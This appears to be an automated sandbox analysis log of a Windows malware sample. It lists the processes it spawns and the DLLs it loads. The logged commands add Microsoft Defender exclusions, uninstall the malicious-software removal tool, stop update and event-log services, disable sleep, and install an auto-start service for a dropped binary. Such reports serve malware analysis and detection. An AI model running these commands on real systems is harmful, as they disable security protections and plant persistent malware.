Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: nlGOh9K5X5.exe

ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe

File read: C:\Users\user\Desktop\nlGOh9K5X5.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\nlGOh9K5X5.exe "C:\Users\user\Desktop\nlGOh9K5X5.exe"
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "HZIWFEGQ"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "HZIWFEGQ"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "HZIWFEGQ"	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "HZIWFEGQ"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
